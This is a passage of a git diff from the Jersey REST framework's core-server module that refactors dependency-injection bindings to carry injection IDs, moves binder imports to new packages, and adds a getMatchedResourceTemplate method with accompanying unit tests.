+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Payara Foundation and/or its affiliates.
  *
  * This program and the accompanying materials are made available under the
@@ -19,9 +19,10 @@
 
 import jakarta.ws.rs.ext.ParamConverterProvider;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.ParamConverterFactory;
 import org.glassfish.jersey.internal.inject.Providers;
@@ -52,6 +53,7 @@
         serverBag.setMultivaluedParameterExtractorProvider(multiExtractor);
         injectionManager.register(
                 Bindings.service(multiExtractor)
-                        .to(MultivaluedParameterExtractorProvider.class));
+                        .to(MultivaluedParameterExtractorProvider.class)
+                        .id(InjectionIds.SERVER_MULTIVALUED_PARAMETER_EXTRACTOR_PROVIDER.id()));
     }
 }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java
index 07337eb..8ff28dd 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -35,9 +35,10 @@
 
 import jakarta.inject.Provider;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.ContextInjectionResolver;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
@@ -116,17 +117,28 @@
         serverBag.setValueParamProviders(Collections.unmodifiableCollection(suppliers));
 
         // Needs to be in InjectionManager because of CdiComponentProvider
-        injectionManager.register(Bindings.service(asyncProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(cookieProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(formProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(headerProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(matrixProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(pathProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(queryProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(webTargetProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(beanProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(entityProvider).to(ValueParamProvider.class));
-        injectionManager.register(Bindings.service(contextProvider).to(ValueParamProvider.class));
+        injectionManager.register(Bindings.service(asyncProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_ASYNC_RESPONSE_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(cookieProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_COOKIE_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(formProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_FORM_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(headerProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_HEADER_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(matrixProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_MATRIX_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(pathProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_PATH_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(queryProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_QUERY_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(webTargetProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_WEB_TARGET_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(beanProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_BEAN_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(entityProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_ENTITY_VALUE_PARAM_PROVIDER.id()));
+        injectionManager.register(Bindings.service(contextProvider).to(ValueParamProvider.class)
+                .id(InjectionIds.SERVER_CONTEXT_VALUE_PARAM_PROVIDER.id()));
 
         // Provide request scoped ContainerRequest without the proxy.
         Provider<ContainerRequest> request = () -> {
@@ -134,20 +146,20 @@
             return reference.get().request();
         };
 
-        registerResolver(injectionManager, asyncProvider, Suspended.class, request);
-        registerResolver(injectionManager, cookieProvider, CookieParam.class, request);
-        registerResolver(injectionManager, formProvider, FormParam.class, request);
-        registerResolver(injectionManager, headerProvider, HeaderParam.class, request);
-        registerResolver(injectionManager, matrixProvider, MatrixParam.class, request);
-        registerResolver(injectionManager, pathProvider, PathParam.class, request);
-        registerResolver(injectionManager, queryProvider, QueryParam.class, request);
-        registerResolver(injectionManager, webTargetProvider, Uri.class, request);
-        registerResolver(injectionManager, beanProvider, BeanParam.class, request);
+        registerResolver(injectionManager, asyncProvider, Suspended.class, request, InjectionIds.SERVER_ASYNC_RESOLVER.id());
+        registerResolver(injectionManager, cookieProvider, CookieParam.class, request, InjectionIds.SERVER_COOKIE_RESOLVER.id());
+        registerResolver(injectionManager, formProvider, FormParam.class, request, InjectionIds.SERVER_FORM_RESOLVER.id());
+        registerResolver(injectionManager, headerProvider, HeaderParam.class, request, InjectionIds.SERVER_HEADER_RESOLVER.id());
+        registerResolver(injectionManager, matrixProvider, MatrixParam.class, request, InjectionIds.SERVER_MATRIX_RESOLVER.id());
+        registerResolver(injectionManager, pathProvider, PathParam.class, request, InjectionIds.SERVER_PATH_RESOLVER.id());
+        registerResolver(injectionManager, queryProvider, QueryParam.class, request, InjectionIds.SERVER_QUERY_RESOLVER.id());
+        registerResolver(injectionManager, webTargetProvider, Uri.class, request, InjectionIds.SERVER_WEB_TARGET_RESOLVER.id());
+        registerResolver(injectionManager, beanProvider, BeanParam.class, request, InjectionIds.SERVER_BEAN_RESOLVER.id());
     }
 
     private void registerResolver(InjectionManager im, ValueParamProvider vfp, Class<? extends Annotation> annotation,
-            Provider<ContainerRequest> request) {
-        im.register(Bindings.injectionResolver(new ParamInjectionResolver<>(vfp, annotation, request)));
+            Provider<ContainerRequest> request, long id) {
+        im.register(Bindings.injectionResolver(new ParamInjectionResolver<>(vfp, annotation, request)).id(id));
     }
 
     @Override
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/MonitoringContainerListener.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/MonitoringContainerListener.java
index 6444d5b..78e74e6 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/MonitoringContainerListener.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/MonitoringContainerListener.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.server.monitoring.ApplicationEvent;
 import org.glassfish.jersey.server.monitoring.ApplicationEventListener;
 import org.glassfish.jersey.server.spi.Container;
@@ -81,7 +81,7 @@
     /**
      * A binder that binds the {@link MonitoringContainerListener}.
      */
-    public static class Binder extends AbstractBinder {
+    public static class Binder extends InternalBinder {
         @Override
         protected void configure() {
             bindAsContract(MonitoringContainerListener.class)
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/MonitoringFeature.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/MonitoringFeature.java
index 365b24c..6609530 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/MonitoringFeature.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/MonitoringFeature.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,7 +27,7 @@
 import jakarta.inject.Provider;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.inject.ReferencingFactory;
 import org.glassfish.jersey.internal.util.collection.Ref;
 import org.glassfish.jersey.server.ServerProperties;
@@ -104,7 +104,7 @@
 
         if (monitoringEnabled) {
             context.register(ApplicationInfoListener.class);
-            context.register(new AbstractBinder() {
+            context.register(new InternalBinder() {
                 @Override
                 protected void configure() {
                     bindFactory(ReferencingFactory.<ApplicationInfo>referenceFactory())
@@ -119,7 +119,7 @@
 
         if (statisticsEnabled) {
             context.register(MonitoringEventListener.class);
-            context.register(new AbstractBinder() {
+            context.register(new InternalBinder() {
                 @Override
                 protected void configure() {
                     bindFactory(ReferencingFactory.<MonitoringStatistics>referenceFactory())
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/process/RequestProcessingConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/process/RequestProcessingConfigurator.java
index 9194c47..3da1394 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/process/RequestProcessingConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/process/RequestProcessingConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,10 +28,10 @@
 
 import jakarta.inject.Inject;
 
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
 import org.glassfish.jersey.internal.PropertiesDelegate;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.process.internal.RequestScoped;
 import org.glassfish.jersey.server.AsyncContext;
@@ -118,30 +118,33 @@
      *
      * @author Marek Potociar
      */
-    private class ServerProcessingBinder extends AbstractBinder {
+    private class ServerProcessingBinder extends InternalBinder {
 
         @Override
         protected void configure() {
             bindAsContract(RequestProcessingContextReference.class)
-                    .in(RequestScoped.class);
+                    .in(RequestScoped.class).id(3101);
 
             // Bind non-proxiable ContainerRequest injection injection points
             bindFactory(ContainerRequestFactory.class)
                     .to(ContainerRequest.class).to(ContainerRequestContext.class)
                     .proxy(false)
-                    .in(RequestScoped.class);
+                    .in(RequestScoped.class)
+                    .id(3102);
 
             // Bind proxiable HttpHeaders, Request and ContainerRequestContext injection injection points
             bindFactory(ContainerRequestFactory.class)
                     .to(HttpHeaders.class).to(Request.class).to(PropertiesDelegate.class)
                     .proxy(true).proxyForSameScope(false)
-                    .in(RequestScoped.class);
+                    .in(RequestScoped.class)
+                    .id(3103);
 
             // Bind proxiable UriInfo, ExtendedUriInfo and ResourceInfo injection points
             bindFactory(UriRoutingContextFactory.class)
                     .to(UriInfo.class).to(ExtendedUriInfo.class).to(ResourceInfo.class)
                     .proxy(true).proxyForSameScope(false)
-                    .in(RequestScoped.class);
+                    .in(RequestScoped.class)
+                    .id(3104);
 
             // Bind proxiable SecurityContext injection point.
             // NOTE:
@@ -152,20 +155,23 @@
             bind(SecurityContextInjectee.class)
                     .to(SecurityContext.class)
                     .proxy(true).proxyForSameScope(false)
-                    .in(RequestScoped.class);
+                    .in(RequestScoped.class)
+                    .id(3105);
 
             // Bind proxiable CloseableService injection point.
             bindFactory(CloseableServiceFactory.class)
                     .to(CloseableService.class)
                     .proxy(true).proxyForSameScope(false)
-                    .in(RequestScoped.class);
+                    .in(RequestScoped.class)
+                    .id(3106);
 
             // Bind proxiable AsyncContext and AsyncResponse injection points.
             // TODO maybe we can get rid of these completely? Or at least for AsyncContext?
             bindFactory(AsyncContextFactory.class)
                     .to(AsyncContext.class)
                     .to(AsyncResponse.class)
-                    .in(RequestScoped.class);
+                    .in(RequestScoped.class)
+                    .id(3107);
         }
     }
 }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/routing/UriRoutingContext.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/routing/UriRoutingContext.java
index d936c51..94bbaa1 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/routing/UriRoutingContext.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/routing/UriRoutingContext.java
@@ -28,6 +28,8 @@
 import java.util.regex.MatchResult;
 import java.util.stream.Collectors;
 
+import jakarta.ws.rs.ApplicationPath;
+import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.MultivaluedHashMap;
 import jakarta.ws.rs.core.MultivaluedMap;
 import jakarta.ws.rs.core.PathSegment;
@@ -39,6 +41,7 @@
 import org.glassfish.jersey.internal.util.collection.Values;
 import org.glassfish.jersey.message.internal.TracingLogger;
 import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.server.internal.ServerTraceEvent;
 import org.glassfish.jersey.server.internal.process.Endpoint;
 import org.glassfish.jersey.server.model.Resource;
@@ -249,6 +252,40 @@
         return getMatchedURIs(true);
     }
 
+//@Override
+    public String getMatchedResourceTemplate() {
+        final StringBuilder sb = new StringBuilder();
+        for (String template : getMatchedResourceTemplates()) {
+            sb.append(template.trim());
+        }
+        return sb.toString();
+    }
+
+//@Override
+    public List<String> getMatchedResourceTemplates() {
+        final List<String> list = new ArrayList<>();
+        if (ResourceConfig.class.isInstance(requestContext.getConfiguration())) {
+            Application app = ((ResourceConfig) requestContext.getConfiguration()).getApplication();
+            while (ResourceConfig.class.isInstance(app) && ((ResourceConfig) app).getApplication() != app) {
+                app = ((ResourceConfig) app).getApplication();
+            }
+            final ApplicationPath annotation = app.getClass().getAnnotation(ApplicationPath.class);
+            if (annotation != null) {
+                String value = annotation.value();
+                list.add(value.endsWith("/") ? value.substring(0, value.length() - 1) : value);
+            }
+        }
+
+        final Iterator<UriTemplate> templateIt = templates.descendingIterator();
+        while (templateIt.hasNext()) {
+            String template = templateIt.next().getTemplate().trim();
+            if (!template.equals("/") || list.isEmpty()) { // !subresourceLocator
+                list.add(template);
+            }
+        }
+        return list;
+    }
+
     private static final Function<String, String> PATH_DECODER = input -> UriComponent.decode(input, UriComponent.Type.PATH);
 
     @Override
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/model/ResourceMethodInvoker.java b/core-server/src/main/java/org/glassfish/jersey/server/model/ResourceMethodInvoker.java
index 7cf46ee..936b00c 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/model/ResourceMethodInvoker.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/model/ResourceMethodInvoker.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -47,7 +47,7 @@
 import jakarta.ws.rs.ext.ReaderInterceptor;
 import jakarta.ws.rs.ext.WriterInterceptor;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.internal.inject.Providers;
@@ -231,7 +231,7 @@
         final Set<Class<?>> providerClasses = componentBag.getClasses(ComponentBag.excludeMetaProviders(injectionManager));
         if (!providerClasses.isEmpty()) {
             injectionManager = Injections.createInjectionManager(injectionManager);
-            injectionManager.register(new AbstractBinder() {
+            injectionManager.register(new InternalBinder() {
                 @Override
                 protected void configure() {
                     bind(config).to(Configuration.class);
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/model/internal/SseTypeResolver.java b/core-server/src/main/java/org/glassfish/jersey/server/model/internal/SseTypeResolver.java
index f8b0ea0..5a29b78 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/model/internal/SseTypeResolver.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/model/internal/SseTypeResolver.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,6 +19,7 @@
 import java.util.Collections;
 import java.util.HashSet;
 import java.util.Set;
+import java.util.concurrent.Flow;
 
 import org.glassfish.jersey.internal.util.ReflectionHelper;
 
@@ -32,7 +33,7 @@
     static {
         Set<Class<?>> set = new HashSet<>(8);
 
-        set.add(org.glassfish.jersey.internal.jsr166.Flow.Subscriber.class);
+        set.add(Flow.Subscriber.class);
         set.add(jakarta.ws.rs.sse.SseEventSink.class);
         Class<?> clazz = AccessController
                 .doPrivileged(ReflectionHelper.classForNamePA("java.util.concurrent.Flow$Subscriber", null));
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/wadl/WadlFeature.java b/core-server/src/main/java/org/glassfish/jersey/server/wadl/WadlFeature.java
index 314d267..448ee3a 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/wadl/WadlFeature.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/wadl/WadlFeature.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.util.PropertiesHelper;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
 import org.glassfish.jersey.server.ServerProperties;
@@ -68,7 +68,7 @@
         }
 
         context.register(WadlModelProcessor.class);
-        context.register(new AbstractBinder() {
+        context.register(new InternalBinder() {
             @Override
             protected void configure() {
                 bind(WadlApplicationContextImpl.class).to(WadlApplicationContext.class).in(Singleton.class);
diff --git a/core-server/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization b/core-server/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
new file mode 100644
index 0000000..66f8ea4
--- /dev/null
+++ b/core-server/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
@@ -0,0 +1 @@
+org.glassfish.jersey.server.ServerBootstrapPreinitialization
\ No newline at end of file
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/GetMatchedResourceTemplateTest.java b/core-server/src/test/java/org/glassfish/jersey/server/GetMatchedResourceTemplateTest.java
new file mode 100644
index 0000000..8ba37ad
--- /dev/null
+++ b/core-server/src/test/java/org/glassfish/jersey/server/GetMatchedResourceTemplateTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.HttpMethod;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.PUT;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriInfo;
+import org.glassfish.jersey.server.internal.routing.UriRoutingContext;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.util.concurrent.ExecutionException;
+
+public class GetMatchedResourceTemplateTest {
+
+    public static final String ONE_POST = "{name:[a-zA-Z][a-zA-Z_0-9]*}";
+    public static final String TWO_GET = "{Prefix}{p:/?}{id: ((\\d+)?)}/abc{p2:/?}{number: (([A-Za-z0-9]*)?)}";
+    public static final String TWO_POST = "{Prefix}{p:/?}{id: ((\\d+)?)}/abc/{yeah}";
+    public static final String THREE_SUB = "{x:[a-z]}";
+
+    public static class SubGet {
+        @PUT
+        public String get(@Context UriInfo uriInfo) {
+            return ((UriRoutingContext) uriInfo).getMatchedResourceTemplate();
+        }
+    }
+
+    @Path("one")
+    public static class ResourceOne {
+        @POST
+        @Path(ONE_POST)
+        public Response post(@Context UriInfo info) {
+            return Response.ok(((UriRoutingContext) info).getMatchedResourceTemplate()).build();
+        }
+    }
+
+    @Path("two")
+    public static class ResourceTwo {
+        @GET
+        @Path(TWO_GET)
+        public Response get(@Context UriInfo info) {
+            return Response.ok(((UriRoutingContext) info).getMatchedResourceTemplate()).build();
+        }
+
+        @POST
+        @Path(TWO_POST)
+        public Response post(@Context UriInfo info) {
+            return Response.ok(((UriRoutingContext) info).getMatchedResourceTemplate()).build();
+        }
+    }
+
+    @Path("three")
+    public static class ResourceThree {
+        @Path(THREE_SUB)
+        public SubGet doAnything4() {
+            return new SubGet();
+        }
+    }
+
+    @Path("four")
+    public static class ResourceFour {
+        @Path(THREE_SUB)
+        public ResourceOne postOne() {
+            return new ResourceOne();
+        }
+    }
+
+    @Test
+    public void testPOSTone() throws ExecutionException, InterruptedException {
+        ApplicationHandler applicationHandler = new ApplicationHandler(new ResourceConfig(ResourceOne.class));
+        Object entity = applicationHandler.apply(RequestContextBuilder.from("/one/azazaz00", HttpMethod.POST)
+                .build()).get().getEntity();
+        Assertions.assertEquals("/one/" + ONE_POST, entity);
+    }
+
+    @Test
+    public void testTWOget() throws ExecutionException, InterruptedException {
+        ApplicationHandler applicationHandler = new ApplicationHandler(new ResourceConfig(ResourceTwo.class));
+        Object entity = applicationHandler.apply(RequestContextBuilder.from("/two/P/abc/MyNumber", HttpMethod.GET)
+                .build()).get().getEntity();
+        Assertions.assertEquals("/two/" + TWO_GET, entity);
+    }
+
+    @Test
+    public void testTWOpost() throws ExecutionException, InterruptedException {
+        ApplicationHandler applicationHandler = new ApplicationHandler(new ResourceConfig(ResourceTwo.class));
+        Object entity = applicationHandler.apply(RequestContextBuilder.from("/two/P/abc/MyNumber", HttpMethod.POST)
+                .build()).get().getEntity();
+        Assertions.assertEquals("/two/" + TWO_POST, entity);
+    }
+
+    @Test
+    public void testPUTthree() throws ExecutionException, InterruptedException {
+        ApplicationHandler applicationHandler = new ApplicationHandler(new ResourceConfig(ResourceThree.class));
+        Object entity = applicationHandler.apply(RequestContextBuilder.from("/three/a", HttpMethod.PUT)
+                .build()).get().getEntity();
+        Assertions.assertEquals("/three/" + THREE_SUB, entity);
+    }
+
+    @Test
+    public void testPOSTfour() throws ExecutionException, InterruptedException {
+        ApplicationHandler applicationHandler = new ApplicationHandler(new ResourceConfig(ResourceFour.class));
+        Object entity = applicationHandler.apply(RequestContextBuilder.from("/four/a/azazaz00", HttpMethod.POST)
+                .build()).get().getEntity();
+        Assertions.assertEquals("/four/" + THREE_SUB + "/" + ONE_POST, entity);
+    }
+}
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/ResourceConfigTest.java b/core-server/src/test/java/org/glassfish/jersey/server/ResourceConfigTest.java
index ec88461..02bf27f 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/ResourceConfigTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/ResourceConfigTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,7 +27,7 @@
 import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.Context;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.util.Tokenizer;
 import org.glassfish.jersey.model.internal.ComponentBag;
 import org.glassfish.jersey.server.config.innerstatic.InnerStaticClass;
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/TestInjectionManagerFactory.java b/core-server/src/test/java/org/glassfish/jersey/server/TestInjectionManagerFactory.java
index 53501e6..7488146 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/TestInjectionManagerFactory.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/TestInjectionManagerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Payara Foundation and/or its affiliates.
  *
  * This program and the accompanying materials are made available under the
@@ -22,13 +22,13 @@
 
 import jakarta.ws.rs.RuntimeType;
 
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.AutoDiscoverableConfigurator;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
 import org.glassfish.jersey.internal.ContextResolverFactory;
 import org.glassfish.jersey.internal.DynamicFeatureConfigurator;
 import org.glassfish.jersey.internal.ExceptionMapperFactory;
 import org.glassfish.jersey.internal.FeatureConfigurator;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.Binder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/filter/ApplicationFilterTest.java b/core-server/src/test/java/org/glassfish/jersey/server/filter/ApplicationFilterTest.java
index d301bcf..0deceed 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/filter/ApplicationFilterTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/filter/ApplicationFilterTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -31,7 +31,7 @@
 
 import jakarta.annotation.Priority;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.process.Inflector;
 import org.glassfish.jersey.server.ApplicationHandler;
 import org.glassfish.jersey.server.ContainerResponse;
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterDateTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterDateTest.java
index 91acc2a..a1f6deb 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterDateTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterDateTest.java
@@ -16,7 +16,7 @@
 
 package org.glassfish.jersey.server.internal.inject;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.Binder;
 import org.glassfish.jersey.internal.inject.ExtractorException;
 import org.glassfish.jersey.server.ContainerResponse;
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java
index a283a59..d76efcd 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -60,7 +60,7 @@
 
     @Test
     public void testRecursiveResourceEnumerationOfAllPackages() throws IOException {
-        final int actualEntries = countJarEntriesByPattern(Pattern.compile(".*\\.(class|properties|xml|md)"));
+        final int actualEntries = countJarEntriesByPattern(Pattern.compile(".*\\.(class|properties|xml|md|xsd)"));
